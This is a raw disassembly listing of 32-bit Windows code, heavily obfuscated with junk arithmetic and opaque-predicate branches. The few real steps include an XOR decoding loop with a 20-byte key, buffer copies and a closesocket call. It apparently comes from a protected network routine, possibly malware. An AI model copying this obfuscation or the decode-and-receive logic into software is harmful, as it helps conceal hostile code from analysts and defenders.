mov ecx, dword [esi + 0x158]
mov eax, dword [0x10143d04]
imul eax, dword [0x10143d08]
xor eax, 0x49936d3b
imul eax, eax, 0x44467a81
add eax, 0xdd82723a
add eax, 0x335f73fc
or eax, 0x7df7636
and eax, 0xa6e77d08
xor eax, 0x5b19c803
or eax, 0x244f725e
xor eax, 0x212b76ac
mov edi, 0x6dab876f
xor edx, edx
div edi
add eax, 0x17764fcf
and eax, 0xb3428a35
and eax, 0x4187abdb
or eax, 0xb66b1c37
and eax, 0x52f47716
mov edi, 0xd79934c9
xor edx, edx
div edi
mov edx, dword [esi + 0x13c]
and eax, 0x8b7999ef
and eax, 0xe8bfc0cf
add eax, 0x35e60967
add eax, 0x74c70524
mov ecx, dword [ecx]
cmp ecx, dword [edx]
setl cl
mov byte [esi + 0x3f], cl
cmp eax, 0x5be3b4c3
je 0x100b9e02
mov eax, dword [0x10143d0c]
xor edx, edx
div dword [0x10143d10]
imul eax, eax, 0x54b0bcaf
imul eax, eax, 0x66564b61
or eax, 0x2f1b2704
imul eax, eax, 0x1913efe0
add eax, 0x4b001f2f
and eax, 0x9acca43f
add eax, 0x6f9f7c12
imul eax, eax, 0x49b99bc7
add eax, 0xd8fb7e53
xor eax, 0xbf23e1ee
sub eax, 0xbfcc5bef
imul eax, eax, 0x49f55416
mov ecx, 0x907f21a0
xor edx, edx
div ecx
or eax, 0x2c0b3513
mov ecx, 0xc859d1ba
xor edx, edx
div ecx
mov ecx, 0xf08965bd
xor edx, edx
div ecx
and eax, 0xce14c5fc
mov ecx, 0xa38c19ba
xor edx, edx
div ecx
add eax, 0x94a73966
and eax, 0x745d968f
cmp eax, 0x4799bff4
ja 0x100b89ef
mov al, byte [esi + 0x3f]
test al, 1
jne 0x100b666f
jmp 0x100b7642
mov eax, dword [str._GoZL_nb_]
sub eax, dword [0x10143d18]
xor eax, 0xf1290923
add eax, 0x9ce35443
mov ecx, 0x2013f516
xor edx, edx
div ecx
or eax, 0x81fd33ca
sub eax, 0xb9fcad74
imul eax, eax, 0xe141764e
imul eax, eax, 0x52b3d764
sub eax, 0x3e9cbd75
imul eax, eax, 0x392a6441
or eax, 0x9998fa88
or eax, 0xce40a462
and eax, 0x14f9deca
xor eax, 0xb4724238
mov ecx, 0x58d77209
xor edx, edx
div ecx
imul eax, eax, 0xc5c14ec9
and eax, 0xe40f09e
sub eax, 0x53e5650f
or eax, 0xd326a9f6
xor eax, 0x9721bac9
xor eax, 0x68a8a710
cmp eax, 0xa13e5733
jae 0x100b9e07
mov ecx, dword [esi + 0x144]
mov eax, dword [0x10143d1c]
sub eax, dword [0x10143d20]
and eax, 0x5e488853
or eax, 0x1969dbb4
add eax, 0xdb96bb98
or eax, 0x9d7e029f
xor eax, 0x5b261d16
add eax, 0xf3740423
xor eax, 0xa3cdd5c0
and eax, 0x7af025d7
sub eax, 0xa35a80f3
or eax, 0x320f25a2
or eax, 0xba560c5f
and eax, 0xc2e6dbeb
and eax, 0x6a310ad0
mov edi, 0xa324149d
xor edx, edx
div edi
mov edi, 0xb2a84fb5
xor edx, edx
div edi
and eax, 0x7262a599
and eax, 0x8dcec28c
imul eax, eax, 0xa6d04023
sub eax, 0x59cacbee
imul eax, eax, 0xd53d7336
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x3e], cl
cmp eax, 0xed70dc98
ja 0x100b9e07
mov al, byte [esi + 0x3e]
test al, 1
jne 0x100b6798
jmp 0x100b6c0c
mov eax, dword [0x10143d24]
or eax, dword [0x10143d28]
xor eax, 0x5eb3fbed
imul eax, eax, 0x4b7c62ba
add eax, 0xefdbed83
xor eax, 0xc055c260
sub eax, 0x212d318c
sub eax, 0x32dcc966
sub eax, 0xb852e35
or eax, 0x9b6d3b28
and eax, 0x7607800c
or eax, 0xb749f6a5
sub eax, 0xaa55ce15
sub eax, 0xf90b1a9d
and eax, 0xf81a75d0
imul eax, eax, 0x8b122130
and eax, 0x69a53dc8
add eax, 0xb757995
imul eax, eax, 0xac70ccfe
mov ecx, 0x651604
xor edx, edx
div ecx
or eax, 0xfb232fc7
or eax, 0x7c62f2bf
cmp eax, 0x548c77d5
jbe 0x100b9e0c
mov eax, dword [0x10143d2c]
sub eax, dword [0x10143d30]
and eax, 0x6a7affcc
imul eax, eax, 0x299a0a36
mov ecx, 0x856cc65d
xor edx, edx
div ecx
or eax, 0x55b05aa2
or eax, 0xd805d667
or eax, 0x8032cfa0
xor eax, 0x9e0ab9bd
or eax, 0xcc58706a
mov ecx, 0xd4d13778
xor edx, edx
div ecx
imul eax, eax, 0x85096618
mov ecx, 0x9a6dbc60
xor edx, edx
div ecx
xor eax, 0x6bce1fab
or eax, 0x6372e38d
or eax, 0x3a5fb481
or eax, 0x891f4040
or eax, 0x616c8d80
or eax, 0x7ebb1e29
or eax, 0x8187700f
or eax, 0x2c0600ef
imul eax, eax, 0x7df967b7
cmp eax, 0x74daca6e
jb 0x100b9e0c
mov eax, dword [0x10143d34]
xor eax, dword [0x10143d38]
add eax, 0x7b7a358a
sub eax, 0x30ed739d
sub eax, 0x84150084
and eax, 0x7d4e7b73
xor eax, 0x1ab6b768
mov ecx, 0x7f5668ed
xor edx, edx
div ecx
imul eax, eax, 0x5a8b2f25
or eax, 0x73b96f2b
and eax, 0x1b75223b
imul eax, eax, 0xcbed916a
or eax, 0xe5870487
add eax, 0x1ce85b40
xor eax, 0x37f26c7d
imul eax, eax, 0x37d1f575
xor eax, 0x819e17cc
mov ecx, 0x6a119d8b
xor edx, edx
div ecx
add eax, 0x3d8f34e6
and eax, 0x2a25e3fa
add eax, 0xa74c34d6
sub eax, 0xda60966e
cmp eax, 0x4c3503cf
je 0x100b8b03
mov ecx, dword [esi + 0x158]
mov eax, dword [0x10143d3c]
and eax, dword [0x10143d40]
sub eax, 0x8560de58
imul eax, eax, 0x86e1f371
and eax, 0xc7eb471c
and eax, 0x13d9cae8
imul eax, eax, 0x59538840
xor eax, 0x25346794
sub eax, 0x1b35dfca
or eax, 0x7bc1d117
or eax, 0xfef316fa
xor eax, 0x4d8d1b1
sub eax, 0x3fa86084
imul eax, eax, 0xc83a44a9
mov edi, 0x455227e0
xor edx, edx
div edi
imul eax, eax, 0x6aba7f30
or eax, 0x34380327
or eax, 0x1ac451dc
add eax, 0x92fc9df8
sub eax, 0x8a5f658e
and eax, 0xb8739ae9
xor eax, 0x1c3ed9bc
cmp dword [ecx], 0x2c
sete cl
mov byte [esi + 0x3d], cl
cmp eax, 0xbfcaa336
jae 0x100b6927
mov eax, dword [0x10143d44]
sub eax, dword [0x10143d48]
sub eax, 0xd325b8fa
add eax, 0xc8a169a0
mov ecx, 0xa7a9f8d5
xor edx, edx
div ecx
sub eax, 0x9371905d
sub eax, 0xd7f64b03
and eax, 0x6b6fecb0
imul eax, eax, 0xf006a507
or eax, 0x23240121
or eax, 0x2823f12f
imul eax, eax, 0x323d1d1a
sub eax, 0xf2efd087
add eax, 0x612b4f01
xor eax, 0x816d99b5
xor eax, 0x84af714a
sub eax, 0x657a77f5
add eax, 0x37f148cc
xor eax, 0xed74395c
and eax, 0x1bf6903
imul eax, eax, 0x29f6ab7
and eax, 0x6a790649
cmp eax, 0x8ae638f6
jae 0x100b9e11
mov eax, dword [0x10143d4c]
imul eax, dword [0x10143d50]
sub eax, 0x25d0c0f3
or eax, 0x6ca32a9b
add eax, 0xfc3ab45a
mov ecx, 0x66e1968a
xor edx, edx
div ecx
add eax, 0x4ecde5e9
and eax, 0xf893dc96
or eax, 0x24de2aeb
xor eax, 0x4f00c313
sub eax, 0xddb7c862
mov ecx, 0x4a4d0f44
xor edx, edx
div ecx
xor eax, 0x81066f34
or eax, 0x71dc5a24
mov ecx, 0x81b3fb19
xor edx, edx
div ecx
imul eax, eax, 0xf4a1b60d
imul eax, eax, 0x588eef2e
sub eax, 0x9b85db17
mov ecx, 0x8dc47bc5
xor edx, edx
div ecx
or eax, 0x437f213
imul eax, eax, 0xa1e97632
and eax, 0x99ae046b
cmp eax, 0xbee49e34
je 0x100b9e11
mov al, byte [esi + 0x3d]
test al, 1
jne 0x100b6ad7
jmp 0x100b6c0c
mov eax, dword [0x10143d54]
add eax, dword [0x10143d58]
and eax, 0x3caceeb2
and eax, 0x894d3a06
add eax, 0x68e2d17a
imul eax, eax, 0x81277362
mov ecx, 0x5c2635a1
xor edx, edx
div ecx
sub eax, 0x97a4994b
imul eax, eax, 0x3a174a8f
mov ecx, 0xbbaef3ce
xor edx, edx
div ecx
and eax, 0x8b7e1a0b
or eax, 0x19438090
or eax, 0xcaccb225
xor eax, 0xb81870e4
mov ecx, 0xb4e7ffc3
xor edx, edx
div ecx
sub eax, 0x39eaf2d1
and eax, 0x9c44037d
mov ecx, 0x755b6ef5
xor edx, edx
div ecx
mov ecx, 0xac15c8d1
xor edx, edx
div ecx
add eax, 0x18201ed6
or eax, 0x48507fcb
or eax, 0x30dc88bb
cmp eax, 0x1b5cea6e
jbe 0x100b9e16
mov ecx, dword [esi + 0x14c]
mov eax, dword [0x10143d5c]
xor edx, edx
div dword [0x10143d60]
mov edi, 0xc58c0072
xor edx, edx
div edi
mov edi, 0xc16cc6e0
xor edx, edx
div edi
sub eax, 0x273a5940
mov edi, 0xa29ebfe
xor edx, edx
div edi
or eax, 0x75176b52
mov edi, 0x546d0040
xor edx, edx
div edi
and eax, 0x2c0e51c6
imul eax, eax, 0x9f89f8d7
imul eax, eax, 0x666956f6
or eax, 0x7bb9953c
add eax, 0x321af597
or eax, 0x7825cbca
sub eax, 0xe6322f75
imul eax, eax, 0x4fcfdc09
add eax, 0x9b855788
xor eax, 0x9409bdcd
sub eax, 0x9fd856ba
mov edi, 0x22e62e55
xor edx, edx
div edi
imul eax, eax, 0xaab81cfe
and eax, 0x9be51a46
mov dword [ecx], 0
cmp eax, 0x8eb42b55
ja 0x100b6b67
jmp 0x100b6c0c
mov eax, dword [0x10143d64]
xor edx, edx
div dword [0x10143d68]
or eax, 0x7447c259
sub eax, 0x9cd0c065
sub eax, 0x67da24d5
or eax, 0x3703edd6
and eax, 0xa3cc7653
and eax, 0x4cee05cf
sub eax, 0x3e9b776c
xor eax, 0x6bdb499
sub eax, 0xccc6b006
mov ecx, 0xcf357a6f
xor edx, edx
div ecx
mov ecx, 0x9d7d72a5
xor edx, edx
div ecx
and eax, 0xf2364916
imul eax, eax, 0x4ed388c3
and eax, 0xb7e0892c
imul eax, eax, 0x722c3bd9
sub eax, 0x6a44b8e4
xor eax, 0x1d2e42d0
and eax, 0x116a150c
xor eax, 0x3d8ac8e7
mov ecx, 0xec9659e9
xor edx, edx
div ecx
cmp eax, 0x21d1fae3
je 0x100b8b08
mov eax, dword [0x10143d6c]
sub eax, dword [0x10143d70]
mov ecx, 0xc530b653
xor edx, edx
div ecx
add eax, 0x42ee80c8
xor eax, 0xab1d65b7
or eax, 0x3a20abc3
mov ecx, 0x11ee4a0e
xor edx, edx
div ecx
xor eax, 0xacb9f5bf
imul eax, eax, 0x193a609e
imul eax, eax, 0x84a1717a
and eax, 0x95bc6ccf
mov ecx, 0xec044e48
xor edx, edx
div ecx
or eax, 0xb8d9fc2c
imul eax, eax, 0xed48235f
xor eax, 0xa2f4d5ba
add eax, 0xca5e59ed
mov ecx, 0x68cf9125
xor edx, edx
div ecx
add eax, 0x41221479
sub eax, 0x7af3be3a
imul eax, eax, 0xa84aa312
add eax, 0x241f3523
mov ecx, 0x21f893b2
xor edx, edx
div ecx
cmp eax, 0xcfbc4da0
ja 0x100b9e27
mov ebx, dword [esi + 0x14c]
mov edi, dword [esi + 0x158]
mov eax, dword [0x10143d74]
sub eax, dword [0x10143d78]
add eax, 0xe1ba8817
imul eax, eax, 0xfeaec5ed
mov ecx, 0x35e08b62
xor edx, edx
div ecx
add eax, 0x2e9ccac3
sub eax, 0x20274c21
and eax, 0x606b0e1d
mov ecx, 0xb53d3b4d
xor edx, edx
div ecx
xor eax, 0x62cca937
or eax, 0x6bf272f8
xor eax, 0xcb6ddd4b
imul eax, eax, 0x278b2c8a
or eax, 0x86b6a251
and eax, 0x6e54f8bd
imul eax, eax, 0x671e7f87
xor eax, 0x4984eb4c
sub eax, 0x117ad0d3
and eax, 0x2d5e6939
mov ecx, 0x4fb453df
xor edx, edx
div ecx
mov ecx, 0x18bac958
xor edx, edx
div ecx
mov ecx, dword [esi + 0x148]
mov edx, dword [esi + 0x138]
xor eax, 0x71854d2
mov ebx, dword [ebx]
movzx ecx, byte [ecx + ebx]
mov edi, dword [edi]
movsx ebx, byte [edx + edi]
xor ebx, ecx
mov ecx, dword [esi + 0x14c]
mov byte [edx + edi], bl
mov edx, dword [ecx]
add edx, 1
mov dword [ecx], edx
cmp dword [ecx], 0x14
setge cl
mov byte [esi + 0x3c], cl
cmp eax, 0x3309e1ec
ja 0x100b6d28
mov eax, dword [0x10143d7c]
sub eax, dword [0x10143d80]
add eax, 0x26eb4efc
add eax, 0x486241b1
or eax, 0x3f9483d6
mov ecx, 0x53fc3e38
xor edx, edx
div ecx
mov ecx, 0x60a221d2
xor edx, edx
div ecx
imul eax, eax, 0x99ec911a
and eax, 0xe00222da
or eax, 0x737fc4de
imul eax, eax, 0xf89be022
xor eax, 0xaff71e35
add eax, 0x1a9dd68c
imul eax, eax, 0x32f60084
or eax, 0xa7c9d838
and eax, 0xfb8156d
imul eax, eax, 0xc7f384f5
imul eax, eax, 0x9c0945bb
mov ecx, 0xdeaa8d64
xor edx, edx
div ecx
xor eax, 0x5a24819b
mov ecx, 0x9df4d892
xor edx, edx
div ecx
add eax, 0x8cc97528
cmp eax, 0xe49c29f1
ja 0x100b6c96
mov al, byte [esi + 0x3c]
test al, 1
jne 0x100b6e93
jmp 0x100b71f4
mov eax, dword [0x10143d84]
xor eax, dword [0x10143d88]
mov ecx, 0x681a83d8
xor edx, edx
div ecx
mov ecx, 0x964acdda
xor edx, edx
div ecx
or eax, 0xddd85d72
add eax, 0x9503f30c
add eax, 0x17b8b81e
xor eax, 0xdc705d87
and eax, 0x63d608ed
xor eax, 0x894f22ce
mov ecx, 0x792b75f8
xor edx, edx
div ecx
sub eax, 0xf995a4e
mov ecx, 0x2cef8361
xor edx, edx
div ecx
or eax, 0x765352dd
or eax, 0x6e0dc603
or eax, 0x6aecf5ee
or eax, 0xa9f06b9f
add eax, 0x69b82fc0
mov ecx, 0x92447e02
xor edx, edx
div ecx
and eax, 0x171edbbe
and eax, 0xc19c95f5
mov ecx, 0xda892415
xor edx, edx
div ecx
cmp eax, 0xfef9c377
jae 0x100b9e5c
mov eax, dword [0x10143d8c]
sub eax, dword [0x10143d90]
and eax, 0xdfc17b41
sub eax, 0x2677beb9
and eax, 0xb39a66dd
add eax, 0x53302fa2
add eax, 0xb2173f09
or eax, 0x4cf6320b
add eax, 0x3986d173
imul eax, eax, 0x49884088
imul eax, eax, 0xceebde67
sub eax, 0x6fd67751
sub eax, 0x33530c70
mov ecx, 0x4946dc36
xor edx, edx
div ecx
mov ecx, 0x74fbc9c3
xor edx, edx
div ecx
mov ecx, 0xd74676da
xor edx, edx
div ecx
and eax, 0x88c94215
add eax, 0x773d1604
imul eax, eax, 0xc858e89
or eax, 0x94a5b5f1
and eax, 0xc8b163d0
sub eax, 0x2ad17741
cmp eax, 0x57d589b7
je 0x100b6f25
mov eax, dword [0x10143db4]
and eax, dword [0x10143db8]
sub eax, 0xef8ff972
xor eax, 0x1c851c0a
and eax, 0x4505c082
or eax, 0xe951e331
sub eax, 0xe547f6c6
xor eax, 0x13547d1f
and eax, 0xe157a98d
mov ecx, 0x2e9e24e3
xor edx, edx
div ecx
imul eax, eax, 0xb7662bc6
add eax, 0xa7e6610
and eax, 0x96a34e6d
sub eax, 0xbbf3226
xor eax, 0xbe07a91c
or eax, 0xf2122f0c
sub eax, 0x9aee29b2
imul eax, eax, 0x5c7628b6
and eax, 0x3a2b804
and eax, 0x59191d6f
imul eax, eax, 0x36e67627
or eax, 0x115191d2
cmp eax, 0x42955580
je 0x100b9e84
mov eax, dword [0x10143dbc]
sub eax, dword [0x10143dc0]
or eax, 0x3ba9b9e5
xor eax, 0x45ace1b3
xor eax, 0xe03dd075
imul eax, eax, 0x49e61af0
add eax, 0x2f19ded4
or eax, 0x5e72db36
add eax, 0xeeb49aad
or eax, 0x2e41f4ae
add eax, 0x36183a39
sub eax, 0xca53135e
xor eax, 0x6d42df47
sub eax, 0x190f7316
sub eax, 0x5c226f8e
imul eax, eax, 0x5c1060a9
mov ecx, 0xeca5f278
xor edx, edx
div ecx
mov ecx, 0x938fd871
xor edx, edx
div ecx
add eax, 0xcddea19b
imul eax, eax, 0xcc0b4573
imul eax, eax, 0xdfeb09a6
add eax, 0x187b5ece
cmp eax, 0x67f429be
je 0x100b7275
mov ecx, dword [esi + 0x138]
mov edi, dword [esi + 0x140]
mov eax, dword [esi + 0x13c]
mov edx, dword [esi + 0x94]
mov ebx, dword [esi + 0x144]
mov dword [ebx], 0
mov edx, dword [edx]
mov edx, dword [edx]
add edx, dword [edi]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100e61f0
mov edx, dword [esi + 0x13c]
mov ecx, dword [esi + 0x140]
mov eax, dword [esi + 0x138]
add esp, 0xc
mov edx, dword [edx]
add edx, dword [ecx]
mov dword [ecx], edx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.100e6cf0
add esp, 0xc
mov eax, dword [0x10143df4]
and eax, dword [0x10143df8]
imul eax, eax, 0x37f199f6
imul eax, eax, 0x1441abd7
xor eax, 0x139a83bf
xor eax, 0x348d106f
sub eax, 0x3ca33716
or eax, 0xc35db1c0
or eax, 0x7e634af8
imul eax, eax, 0xccaf6b0c
mov ecx, 0xc6231e9c
xor edx, edx
div ecx
add eax, 0x91df1343
add eax, 0x358ce946
mov ecx, 0x966f126d
xor edx, edx
div ecx
add eax, 0x914f052
add eax, 0x96a93c50
add eax, 0x436616c0
imul eax, eax, 0xd677b944
add eax, 0xa2bec778
add eax, 0xb405ebed
and eax, 0x8f3cba3
sub eax, 0x9b478d07
cmp eax, 0xd8154072
ja 0x100b8ec3
mov eax, dword [0x10143dfc]
xor edx, edx
div dword [0x10143e00]
imul eax, eax, 0xb07d17e6
and eax, 0x13b6fbce
imul eax, eax, 0x4f6c49c7
mov ecx, 0x7474e135
xor edx, edx
div ecx
imul eax, eax, 0xe505a21d
or eax, 0x705eaae3
add eax, 0x43fd5884
and eax, 0xfeeafea
imul eax, eax, 0x8995567d
sub eax, 0x3b83a6ce
xor eax, 0x55ea38cf
sub eax, 0x56ac24e0
add eax, 0x13db6c11
add eax, 0xb386d9a6
or eax, 0xc986df2
or eax, 0x74a49e81
and eax, 0x97d4c765
imul eax, eax, 0x52c5b932
mov ecx, 0x27151f2e
xor edx, edx
div ecx
xor eax, 0xd5a873b3
cmp eax, 0x39202b75
jb 0x100b9ea0
mov ecx, dword [esi + 0x13c]
mov eax, dword [0x10143e04]
imul eax, dword [0x10143e08]
imul eax, eax, 0x74ae48db
mov edi, 0xf30c0249
xor edx, edx
div edi
xor eax, 0x453a3dcf
sub eax, 0x70b29e0f
mov edi, 0xb68aec06
xor edx, edx
div edi
add eax, 0xfc385007
imul eax, eax, 0x89e43aba
or eax, 0x56f36ef8
and eax, 0x7aca289
or eax, 0x4df950d
xor eax, 0x18fa23c6
and eax, 0xbc68402b
xor eax, 0x5bb7cfe1
and eax, 0x2259d306
and eax, 0x1431569e
imul eax, eax, 0x90857852
and eax, 0x4e34765e
and eax, 0x9952883c
and eax, 0xa45cc9e0
imul eax, eax, 0xf1028d79
cmp dword [ecx], 0
setg cl
mov byte [esi + 0x37], cl
cmp eax, 0x5b917372
jae 0x100b77cb
mov eax, dword [0x10143e0c]
add eax, dword [0x10143e10]
xor eax, 0x9be892e9
sub eax, 0xb8f41387
imul eax, eax, 0x8b416dcd
mov ecx, 0xd1bc2e0e
xor edx, edx
div ecx
mov ecx, 0xef621bf
xor edx, edx
div ecx
or eax, 0xba692ce6
sub eax, 0xc647612b
or eax, 0x8176332
mov ecx, 0x46a22183
xor edx, edx
div ecx
xor eax, 0x7ad354e8
mov ecx, 0x510c6180
xor edx, edx
div ecx
imul eax, eax, 0x9a80cc0a
imul eax, eax, 0xdfb090a4
mov ecx, 0xe7a35e8c
xor edx, edx
div ecx
imul eax, eax, 0xcfd6bc5c
add eax, 0xa248b071
or eax, 0x14393c76
mov ecx, 0xb8583837
xor edx, edx
div ecx
sub eax, 0x91654afe
add eax, 0xc3f3c291
cmp eax, 0xf0ec96b9
je 0x100b8ec3
mov al, byte [esi + 0x37]
test al, 1
jne 0x100b5670
jmp 0x100b7907
mov eax, dword [0x10143e14]
xor edx, edx
div dword [0x10143e18]
imul eax, eax, 0x3a719c93
and eax, 0x83c3e6fc
and eax, 0x4c2d3d81
mov ecx, 0xe9d3e711
xor edx, edx
div ecx
add eax, 0x17c725ca
sub eax, 0x87ec6900
add eax, 0xa38b2e17
mov ecx, 0x509c7802
xor edx, edx
div ecx
sub eax, 0xcb9fb8fb
or eax, 0xde914854
sub eax, 0x6b5ed74d
sub eax, 0x13a843e2
imul eax, eax, 0x4cc0f8cf
or eax, 0x6197e280
sub eax, 0xf8a792de
and eax, 0x5dd3e115
or eax, 0xe752e0aa
add eax, 0xf6ff4991
add eax, 0x8d55bb2c
mov ecx, 0xaa7081ea
xor edx, edx
div ecx
cmp eax, 0x37771872
je 0x100b8ec8
mov edi, dword [esi + 0x90]
mov eax, dword [0x10143e1c]
and eax, dword [0x10143e20]
and eax, 0x2786f3fd
mov ecx, 0x3eb4c303
xor edx, edx
div ecx
mov ecx, 0xcc0f511
xor edx, edx
div ecx
imul eax, eax, 0xfb33206
imul eax, eax, 0x726fd9d5
or eax, 0x9a8910bc
and eax, 0x5ca9e582
imul eax, eax, 0x98af45de
and eax, 0x7648b4c9
mov ecx, 0x8a292884
xor edx, edx
div ecx
mov ecx, 0xbf02d10c
xor edx, edx
div ecx
sub eax, 0xd3ec7c
xor eax, 0x8b45a5b
sub eax, 0xb16d0a63
mov ecx, 0x9e400aa4
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x128]
sub ecx, 0xc9cd62
xor ecx, 0xb78d155f
xor ecx, 0x3899cd30
imul ecx, ecx, 0x9ce6f1d6
xor ecx, 0x3189de90
mov dword [esi + 0x30], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x94]
mov ecx, dword [esi + 0x8c]
mov eax, dword [esi + 0x30]
mov edi, dword [edi]
mov edi, dword [edi]
mov ebx, dword [edi]
sub ebx, 0x2c
mov dword [edi], ebx
mov edi, dword [edx]
mov edi, dword [edi]
add edi, 0x2c
mov edx, dword [edx]
mov dword [edx], edi
mov dword [ecx], 1
cmp eax, 0x5dee1575
jb 0x100b8ec8
mov eax, dword [0x10143e24]
sub eax, dword [0x10143e28]
imul eax, eax, 0x7d5ed5cc
sub eax, 0x7bc5374c
xor eax, 0xa62a4af4
sub eax, 0x8cd9d8da
xor eax, 0x27038ec1
sub eax, 0xb0763d7f
mov ecx, 0xa4a5809
xor edx, edx
div ecx
or eax, 0x886d3ce4
mov ecx, 0x4644daf2
xor edx, edx
div ecx
imul eax, eax, 0x93fc0f2e
xor eax, 0xc55314c9
xor eax, 0x4c91790e
imul eax, eax, 0x4534e76d
mov ecx, 0xfba8686c
xor edx, edx
div ecx
and eax, 0xcbaefb45
xor eax, 0x962b4593
sub eax, 0x5380314d
or eax, 0x1b628b90
or eax, 0x3ab40bc
imul eax, eax, 0x896fcc4e
cmp eax, 0x5d3c95e5
ja 0x100b9ea5
mov eax, dword [0x10143e2c]
sub eax, dword [0x10143e30]
and eax, 0x19c1a1a8
or eax, 0x848c5a28
mov ecx, 0x4ee78411
xor edx, edx
div ecx
sub eax, 0xd2f098c
mov ecx, 0x14897991
xor edx, edx
div ecx
and eax, 0xfd07891e
sub eax, 0xca2c8ef0
mov ecx, 0x2a268753
xor edx, edx
div ecx
add eax, 0xf271affd
imul eax, eax, 0x220b9fd2
and eax, 0xf2cf251d
or eax, 0x5e0122c8
mov ecx, 0xde5f6136
xor edx, edx
div ecx
or eax, 0x3b9392e8
imul eax, eax, 0x7eb9e1a9
mov ecx, 0x243b72b1
xor edx, edx
div ecx
or eax, 0xf0b9ba76
sub eax, 0xcfe01ce1
mov ecx, 0x6e75032f
xor edx, edx
div ecx
or eax, 0xd299ee05
cmp eax, 0xf89c86e8
jae 0x100b7afb
jmp 0x100b7b94
mov eax, dword [esi + 0x8c]
mov eax, dword [eax]
mov dword [esi + 0x2c], eax
mov ecx, dword [esi + 0x198]
xor ecx, ebp
call fcn.100e332f
mov eax, dword [esi + 0x2c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x10143e34]
xor eax, dword [0x10143e38]
mov ecx, 0x3072527a
xor edx, edx
div ecx
add eax, 0x5c0c1ff2
and eax, 0x355f41f3
and eax, 0x3932b179
imul eax, eax, 0xc1f65db6
imul eax, eax, 0xc6eb0b1e
xor eax, 0x507792ed
add eax, 0xbbd1b631
or eax, 0x9c87c1e1
or eax, 0x16898ae1
imul eax, eax, 0xe0393caa
sub eax, 0x3b9832f3
or eax, 0x4efbf867
add eax, 0xe30dc9f6
imul eax, eax, 0x246f9c8
add eax, 0xe72bbd56
mov ecx, 0x54765846
xor edx, edx
div ecx
mov ecx, 0xea2125c8
xor edx, edx
div ecx
xor eax, 0x6223c1f5
and eax, 0x8c4452d1
cmp eax, 0x6e679d70
jae 0x100b9eaa
mov eax, dword [0x10143e3c]
mov ecx, dword [0x10143e40]
imul eax, ecx
or eax, 0x66
and eax, 0x40076
add eax, 0xce88edf1
and eax, 0x28c0a00
add eax, 0x72271df4
or eax, 0x6bf32cde
add eax, 0x35618abf
xor eax, 0x3a67847a
imul eax, eax, 0x160db553
mov ecx, 0xcaa195c9
mul ecx
shr edx, 0x19
imul eax, edx, 0x400251db
add eax, 0x613029c9
or eax, 0x8ce000a8
xor eax, 0x4c805a8
or eax, 0x63057247
imul eax, eax, 0x7a289f43
xor eax, 0x9a04e11
add eax, 0xc7ffa8be
mov ecx, dword [0x10146e70]
cmp eax, 0x4e87736d
jbe 0x100b7c41
jmp 0x100b2ae1
mov eax, dword [0x10143e44]
and eax, dword [0x10143e48]
or eax, 0x8f251dd3
xor eax, 0x5e574a7c
imul eax, eax, 0xdc761d23
add eax, 0x99d6b32e
mov ecx, 0xd26d4bd9
xor edx, edx
div ecx
add eax, 0xaa77327a
sub eax, 0x17d9005b
and eax, 0x250e89cc
imul eax, eax, 0xc2809a98
xor eax, 0x48e953a5
mov ecx, 0xe8e4fce5
xor edx, edx
div ecx
add eax, 0xf98a0c2
sub eax, 0x4d6965e9
sub eax, 0xf308332
mov ecx, 0xb4a77b38
xor edx, edx
div ecx
add eax, 0xae087a44
and eax, 0x9acda410
xor eax, 0x2e367ca5
add eax, 0x170a7282
xor eax, 0xe919343e
cmp eax, 0x2ca7eca
je 0x100b9eb4
mov ecx, dword [esi + 0xe0]
mov edi, dword [esi + 0x9c]
mov eax, dword [0x10143e4c]
xor eax, dword [0x10143e50]
and eax, 0xe334cb7e
or eax, 0xb4041d31
or eax, 0xc89a75b4
and eax, 0x1742a847
xor eax, 0xcac4d9d2
xor eax, 0x7ac6aaa7
and eax, 0xaf6687e9
mov ebx, 0x8ed94cc8
xor edx, edx
div ebx
or eax, 0x9d061ba6
imul eax, eax, 0x16438961
add eax, 0x5b5cc6d1
xor eax, 0xc4dbbc78
imul eax, eax, 0x3a61dd49
xor eax, 0x81b5fd6e
sub eax, 0xc3b7857f
imul eax, eax, 0xf3439327
mov ebx, 0x91a0a59
xor edx, edx
div ebx
mov edx, dword [esi + 0xdc]
mov ebx, eax
mov eax, dword [esi + 0xb8]
imul ebx, ebx, 0xde06aeed
add ebx, 0xfa4b1040
imul ebx, ebx, 0xbcf88091
mov dword [esi + 0x28], ebx
mov eax, dword [eax]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
mov ecx, dword [esi + 0xd4]
mov edx, eax
mov eax, dword [esi + 0x28]
mov dword [ecx], edx
cmp eax, 0x44ae74f0
jb 0x100b7d4d
jmp 0x100b3ff2
mov eax, dword [0x10143e54]
xor eax, dword [0x10143e58]
or eax, 0xec7b20a5
mov ecx, 0x6b0b0053
xor edx, edx
div ecx
imul eax, eax, 0x32c688b3
sub eax, 0xa5b5596e
imul eax, eax, 0xb9abe138
mov ecx, 0xf697fe9
xor edx, edx
div ecx
sub eax, 0xa2e875b0
imul eax, eax, 0x6b10eadd
xor eax, 0xaa2bcb42
or eax, 0xeaf521e9
or eax, 0x3c37c390
and eax, 0x49579857
and eax, 0xc6231a11
add eax, 0xe9b89343
mov ecx, 0x4992484a
xor edx, edx
div ecx
sub eax, 0x6b3d613b
sub eax, 0x7efc4f0c
or eax, 0x1bea37b4
xor eax, 0xad845718
mov ecx, 0x8163722f
xor edx, edx
div ecx
cmp eax, 0x78254f43
jae 0x100b9ef7
mov ecx, dword [esi + 0xd8]
mov edi, dword [esi + 0xe0]
mov eax, dword [0x10143e5c]
add eax, dword [0x10143e60]
add eax, 0x40c27672
sub eax, 0x29fd178d
add eax, 0xa72e9a21
xor eax, 0xdc22795f
imul eax, eax, 0x766032d8
mov ebx, 0x694f7efc
xor edx, edx
div ebx
xor eax, 0x57ac5a2e
mov ebx, 0x1756ebcf
xor edx, edx
div ebx
and eax, 0x3ecad152
